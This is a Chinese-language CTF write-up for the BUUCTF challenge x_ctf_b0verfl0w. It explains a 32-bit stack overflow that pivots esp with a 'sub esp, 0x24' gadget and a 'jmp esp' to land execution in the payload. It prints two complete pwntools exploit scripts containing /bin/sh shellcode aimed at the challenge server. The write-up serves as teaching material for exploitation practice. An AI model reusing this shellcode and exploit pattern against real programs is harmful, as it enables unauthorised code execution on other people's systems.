buuctf--x_ctf_b0verfl0w
这个题目算是一个很不错的shellcode题通过控制esp的值指向shellcode,然后有个jmp esp让eip到shellcode上面最后getshell。首先看一下文件相关信息可以看到32位程序并且没有开NX,我最开始做的时候没有注意到这个保护没有开还想着泄露基址然后system(/bin/sh)结果卡在缓冲区了puts输出不了got地址里面的libc函数的地址导致方法失效接着来看一下ida里面的伪代码这里因为没有设置立即回显所以我们无法利用puts函数来泄露地址获取libc基址并且没有办法获取栈的地址得到shellcode地址但是这个题提供了一个非常好的东西那就是一个hint这里可以看到有一个sub esp 24h。然后直接retn,然后后面有一个jmp esp刚好可以让eip跳转到esp的位置。接着就来分析一下这个怎么利用这里看到这个vul函数的尾部可以看到有leave retn这里leave是mov esp ebp。pop ebp的含义接着画一下这个栈的结构前面我们知道参数s距离ebp的距离是0x20那么栈的结构大致是这样的大概就是长这个样子之后我们输入覆盖ebp,覆盖返回地址接着分析这个过程esp的变化在执行leave指令的时候mov ebp esp,pop ebp。mov ebp esp将esp指向ebp的位置然后pop ebp将栈里面原来的ebp弹出来但是这个ebp已经被我们覆盖了然后这里pop指令之后esp4指向了这个返回地址的位置。最后一个ret指令就将这个返回地址弹到eip里面接着esp加4这里执行完ret之后esp刚好是指向ebp8的位置也就是参数加上0x28的位置这里继续看到hint函数可以看到这里8048500的指令是sub esp, 24h相当于将esp减去0x24这里如果我们控制返回地址为这个地址那么最后esp就是指向参数4的位置然后接着一个retn指令就是将参数4位置上的地址当返回地址返回然后esp加4.最后esp指向参数加8的位置所以我们的shellcode就可以写在这个参数加8的位置参数加4的位置写上jmp esp就可以将eip指向shellcode从而实现getshell最后可以看到shellcode:from pwn import * r remote(node5.buuoj.cn, 25646) ret0x08048503 shellcode b\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73 shellcode b\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0 shellcode b\x0b\xcd\x80 hint0x08048500 #sub epp-0x24 payloadb\x90*4p32(0x08048504)shellcodeba*(0x20-4-len(shellcode))p32(hint) r.sendline(payload) r.interactive()这里因为我知道esp的精确位置所以就可以精准的将返回地址控制到shellcode上面这里hint地址也可以选那个push的地址也就是080484FD这个但是这个push会使得esp的值减4然后esp就会指向参数0x24的位置因为原本esp指向参数加0x28的位置接着指向减去0x24就会指向参数的位置然后有个ret指令指向参数加4的位置所以我们也可以将shellcode放置在参数加4的位置然后参数位置就是有个jmp esp即可也附上对应的exp:from pwn import * r remote(node5.buuoj.cn, 25646) shellcode b\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73 shellcode b\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0 shellcode b\x0b\xcd\x80 hint0x080484FD #sub epp-0x24 payloadp32(0x08048504)shellcodeba*(0x20-len(shellcode))p32(hint) r.sendline(payload) r.interactive()这个也是可以打通的可以看到这里也是没有问题的对于这种需要控制esp的只需要记住ret/pop指令是返回esp指向的位置的地址然后esp4。push指令是从esp的位置写入最后esp-4.因为栈是从高地址往低地址生长的所以进栈就是esp-4。往下生长。

相关新闻

springboot+vue基于web的NBA球星勒布朗詹姆斯球员生涯网站laravel

springboot+vue基于web的NBA球星勒布朗詹姆斯球员生涯网站laravel

目录SpringBoot Vue 技术方案Laravel 技术方案核心功能建议技术选型对比项目技术支持可定制开发之功能亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作以下是关于使用不同技术栈(SpringBootVue 或 Laravel)构建 …

2026/5/17 4:03:04 阅读更多 →
springboot+vue电商平台商城可视化沙箱支付 优惠卷

springboot+vue电商平台商城可视化沙箱支付 优惠卷

目录技术架构概述支付模块实现优惠券系统设计可视化数据展示关键注意事项项目技术支持可定制开发之功能亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作技术架构概述 SpringBoot与Vue结合的电商平台采用前后端分离架构,后端…

2026/5/17 4:03:03 阅读更多 →
springboot+vue实验安全教育系统可做食品

springboot+vue实验安全教育系统可做食品

目录系统概述技术实现食品领域适配扩展建议项目技术支持可定制开发之功能亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作系统概述 SpringBootVue实验安全教育系统可扩展至食品领域,通过前后端分离架构实现安全教育、考核、…

2026/5/17 4:03:03 阅读更多 →

最新新闻

Java SHA256加密实战:从原理到密码存储与API签名的完整指南

Java SHA256加密实战:从原理到密码存储与API签名的完整指南

1. 项目概述:为什么我们需要SHA256? 在开发中,处理敏感数据是家常便饭,无论是用户密码、支付凭证还是API签名。直接存储明文密码是开发中的大忌,一旦数据库泄露,后果不堪设想。因此,我们必须对这…

2026/7/4 3:51:58 阅读更多 →
数据产业服务分类(25)——数据要素——数据要素转化的主体

数据产业服务分类(25)——数据要素——数据要素转化的主体

人是数据要素与其他生产要素转化的核心与主体。实践活动是纽带数据与现实世界并非彼此割裂、独立存在,而是通过人类实践活动这一关键纽带实现了紧密相连。人类实践活动充当着数据与现实世界连接的桥梁。人类在现实世界中开展各类实践活动,这些活动产生了…

2026/7/4 3:49:58 阅读更多 →
揭秘租赁行业潜规则:为什么大厂都在租翻新打印机?

揭秘租赁行业潜规则:为什么大厂都在租翻新打印机?

很多人好奇,为什么大型企业、连锁公司、上市公司,明明有预算,却偏偏不租新机,反而首选翻新打印机?今天揭秘租赁行业没人说的真话。一、大厂只看实用性,不看面子对专业企业来说,打印机只是办公工…

2026/7/4 3:49:58 阅读更多 →
学习做一个无人机的前置知识(1)

学习做一个无人机的前置知识(1)

四轴无人机两种机身布局市面上四轴无人机分十字 () 型、X 型两种,教学、入门无人机基本都用 X 型,更好操控、飞行更稳。十字 () 型布局机头正对着其中一个螺旋桨。 优点:结构逻辑直观;缺点:操控手感差,微调…

2026/7/4 3:43:57 阅读更多 →
【Springboot毕设全套源码+文档】基于springboot自行车分享平台的设计与实现(丰富项目+远程调试+讲解+定制)

【Springboot毕设全套源码+文档】基于springboot自行车分享平台的设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2026/7/4 3:43:57 阅读更多 →
ICAIEI 2026 人工智能与情感智能国际会议

ICAIEI 2026 人工智能与情感智能国际会议

【ICAIEI 2026】International Conference on Artificial Intelligence and Emotional Intelligence ICAIEI 2026 作为一个全球性平台,旨在探索这一交叉领域。它汇聚了研究人员、心理学家、技术专家、政策制定者、教育工作者以及行业领袖,共同探讨如何将…

2026/7/4 3:41:56 阅读更多 →

日新闻

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 正式发布,这是一个关键的安全修复版本,修复了多个方面的问题,还对部分功能进行了优化。 安全修复亮点 此次发布在安全修复上表现突出。binprot 避免了项目引用计数溢出,mcmc 因安全问题提升了上游版本号&#xf…

2026/7/4 0:04:29 阅读更多 →
终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案 【免费下载链接】HMCL A Minecraft Launcher which is multi-functional, cross-platform and popular 项目地址: https://gitcode.com/gh_mirrors/hm/HMCL HMCL(Hello Minecraft! Lau…

2026/7/4 0:06:29 阅读更多 →
KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

1. KMX63与PIC18F66K40的硬件协同架构解析KMX63作为一款三轴加速度计和磁力计组合传感器,与PIC18F66K40微控制器的搭配堪称嵌入式HMI开发的黄金组合。这套硬件组合的核心优势在于KMX63提供的高精度运动感知能力与PIC18F66K40强大的信号处理能力形成了完美互补。KMX6…

2026/7/4 0:06:29 阅读更多 →

周新闻

月新闻